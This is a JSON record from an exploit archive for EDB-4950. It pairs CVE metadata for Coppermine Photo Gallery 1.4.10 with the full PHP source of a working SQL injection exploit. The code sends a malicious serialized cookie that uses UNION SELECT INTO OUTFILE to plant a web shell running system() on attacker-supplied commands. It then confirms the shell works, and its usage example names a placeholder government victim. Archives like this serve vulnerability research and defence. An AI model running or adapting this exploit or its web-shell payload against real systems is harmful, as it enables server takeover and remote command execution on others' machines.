{"exploit":{"id":"EDB-4950","name":"Coppermine Photo Gallery 1.4.10 - 'cpg1410_xek.php' SQL Injection (SQLi)","description":"Coppermine Photo Gallery 1.4.10 - 'cpg1410_xek.php' SQL Injection (SQLi)","cves":["CVE-2008-0504","CVE-2007-1107"],"author":"bazik","published":"2008-01-21","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4950","path":"exploits/php/webapps/4950.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4950.php","vulnerabilities":[{"id":"CVE-2008-0504","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in Coppermine Photo Gallery (CPG) before 1.4.15 allow remote authenticated administrators to execute arbitrary SQL commands via the (1) albumid, (2) startpic, and (3) numpics parameters to util.php; and (4) cid_array parameter to reviewcom.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0504","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0504"},"updatedAt":"2024-08-07T07:46:55.056Z","retrievedAt":"2026-11-26T21:07:02.684Z","stale":false,"error":null},{"id":"CVE-2007-1107","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in thumbnails.php in Coppermine Photo Gallery (CPG) 1.3.x allows remote authenticated users to execute arbitrary SQL commands via a cpg131_fav cookie. NOTE: it was later reported that 1.4.10, 1.4.14, and other 1.4.x versions are also affected using similar cookies.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1107","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1107"},"updatedAt":"2024-08-07T12:43:22.514Z","retrievedAt":"2026-11-26T14:19:06.612Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4950.png?v=2","url":"https://exploitbin.com/exploits/EDB-4950","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4950/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4950/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n#####################################\n# Coppermine gallery SQL injection exploit\n# based on RST/GHC bugs\n# Author: bazik, icq 178377\n#####################################\nerror_reporting(0);\nclass cpg1410_xek {\n   public $GLOBALS = array();\n\n   function prepareExp($sql) {\n      $a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';\n      $b1 = 'bazik';\n      $a2 = $sql;\n      $b2 = 'bazik';\n      $arr = array($a1 => $b1, $a2 => $b2);\n      return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));\n   }\n\n   function toHex($str) {\n      for ($i=0; $i < strlen($str); $i++)\n         $result .= sprintf(\"%X\", ord($str[$i]));\n      return \"0x\" . $result;\n   }\n\n   function sendQuery($out) {\n      $fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);\n      if(!$fp)\n         die(\"[-] Can't connect to \" . $this->GLOBALS['host'] . \" ...\\n\\n\");\n      else {\n         fwrite($fp, $out);\n         while(!feof($fp))\n            $str .= fgets($fp, 128);\n         fclose($fp);\n         return $str;\n      }\n   }\n\n   function getCookiePrefix() {\n      $out  = \"HEAD \" . $this->GLOBALS['path'] . \"thumbnails.php?album=\" . $this->GLOBALS['albumId'] . \" HTTP/1.1\\r\\n\";\n      $out .= \"Host: \" . $this->GLOBALS['host'] . \"\\r\\n\";\n      $out .= \"Connection: Close\\r\\n\\r\\n\";\n      preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);\n      return $result[1][0];\n   }\n\n   function getPathToShell() {\n      $out  = \"GET \" . $this->GLOBALS['path'] . \"/themes/sample/theme.php HTTP/1.1\\r\\n\";\n      $out .= \"Host: \" . $this->GLOBALS['host'] . \"\\r\\n\";\n      $out .= \"Connection: Close\\r\\n\\r\\n\";\n      preg_match_all('!in\\s(.+).{1}themes.{1}sample.{1}theme.php!Uim', $this->sendQuery($out), $result);\n      $str = strip_tags($result[1][0]);\n      return str_replace(\"\\\\\", \"/\", $str);\n   }\n\n   function getShell() {\n      $sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET[\\'a\\']);?></pre>') . ' INTO OUTFILE \\'' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php\\'/*';\n      $out  = \"GET \" . $this->GLOBALS['path'] . \"thumbnails.php?album=\" . $this->GLOBALS['albumID'] . \" HTTP/1.1\\r\\n\";\n      $out .= \"Host: \" . $this->GLOBALS['host'] . \"\\r\\n\";\n      $out .= \"Accept-Language: ru\\r\\n\";\n      $out .= \"Cookie: \" . $this->prepareExp($sql) . \"\\r\\n\";\n      $out .= \"Connection: Close\\r\\n\\r\\n\";\n      $this->sendQuery($out);\n   }\n\n   function hat() {\n      echo \"\\n## Coppermine SQL injection exploit\\n\";\n      echo \"## Vulnerable: CPG 1.4.10 stable\\n\\n\";\n      echo \"## THIS IS UNPUBLISHED EXPLOIT CODE\\n\";\n      echo \"## KEEP IT PRIVATE\\n\\n\";\n   }\n\n   function foot() {\n      echo \"## (c)oded by bazik\\n\";\n      echo \"## 20/01/2008\\n\";\n   }\n}\n\n$exp = new cpg1410_xek();\n\nif ($argc != 4) {\n   $exp->hat();\n   echo \"For example:\\n\\n\";\n   echo \"   php cpg1410_xek.php [url] [path] [albumID]\\n\\n\";\n   echo \"      [url]     = http://www.victim.gov\\n\";\n   echo \"      [path]    = \\cpg1410\\\\\\n\";\n   echo \"      [albumID] = 1\\n\\n\\n\";\n   $exp->foot();\n} else {\n   $exp->hat();\n\n   preg_match(\"/^(http:\\/\\/)?([^\\/]+)/i\", $argv[1], $matches);\n   $exp->GLOBALS['host']    = $matches[2];\n   $exp->GLOBALS['path']    = $argv[2];\n   $exp->GLOBALS['albumID'] = intval($argv[3]);\n   $exp->GLOBALS['prefix']  = $exp->getCookiePrefix();\n   $exp->GLOBALS['pathToShell']  = $exp->getPathToShell();\n\n   if(empty($exp->GLOBALS['prefix']))\n      echo \"[-] Can't get cookie prefix ...\\n\\n\";\n   else\n      echo \"[+] Cookie prefix: \" . $exp->GLOBALS['prefix'] . \"\\n\";\n\n   if(empty($exp->GLOBALS['pathToShell']))\n      echo \"[-] Can't recognize full path ...\\n\\n\";\n   else {\n      echo \"[+] Full path: \" . $exp->GLOBALS['pathToShell'] . \"\\n\\n\";\n      $exp->getShell();\n      $url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';\n      if (file_get_contents($url))\n         echo \"   Web-shell: \" . $url . \"\\n\\n\";\n      else\n         echo \"[-] Can't create web-shell ...\\n\\n\";\n   }\n\n   $exp->foot();\n}\n?>\n\n# milw0rm.com [2008-01-21]","sha256":"127fedbd3417a72f9530a5e2f20bfca1efe628d6ad9ec63e5c03a9bce91ddf9b","bytes":4075,"fetchedAt":"2026-11-26T21:06:58.395Z","encoding":"utf-8 (display only; download retains original bytes)"}